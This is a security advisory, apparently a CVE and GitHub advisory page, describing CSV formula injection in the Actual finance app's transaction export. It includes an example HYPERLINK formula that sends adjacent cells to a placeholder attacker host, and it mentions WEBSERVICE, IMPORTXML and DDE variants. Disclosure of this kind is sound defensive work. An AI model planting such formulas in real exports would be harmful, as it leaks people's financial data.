fkie_cve-2026-50179

Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with equals sign, plus, minus, at sign, tab, or carriage return survive verbatim into the exported CSV, and when a recipient opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas, enabling transaction data exfiltration and attacker-chosen spreadsheet display values. This issue is fixed in version 26.6.0.

GHSA-xqjm-27pc-rvwm — @actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields

Affected: npm: @actual-app/web

## Summary

`exportToCSV` and `exportQueryToCSV` in `packages/loot-core/src/server/transactions/export/export-to-csv.ts` pass user-controlled `Payee`, `Notes`, `Account`, and `Category` strings to `csv-stringify` with no `cast` callback and no formula-prefix neutralization. Strings that begin with `=`, `+`, `-`, `@`, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. `=HYPERLINK("http://attacker/?leak="&B2,"Bank refund")` is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. `=WEBSERVICE`/`=IMPORTXML` provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.

## Details

Sink — `packages/loot-core/src/server/transactions/export/export-to-csv.ts:56`:

```ts return csvStringify(transactionsForExport, { header: true }); ```

and the same call again at `export-to-csv.ts:131` for `exportQueryToCSV`. `csv-stringify` v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper — `grep` for `csvStringify` finds exactly one source file across the monorepo.

Source of attacker-controlled `Payee`/`Notes`:

- `packages/loot-core/src/server/transactions/im…

Most recent entries from all

fkie_cve-2026-50179

GHSA-xqjm-27pc-rvwm — @actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields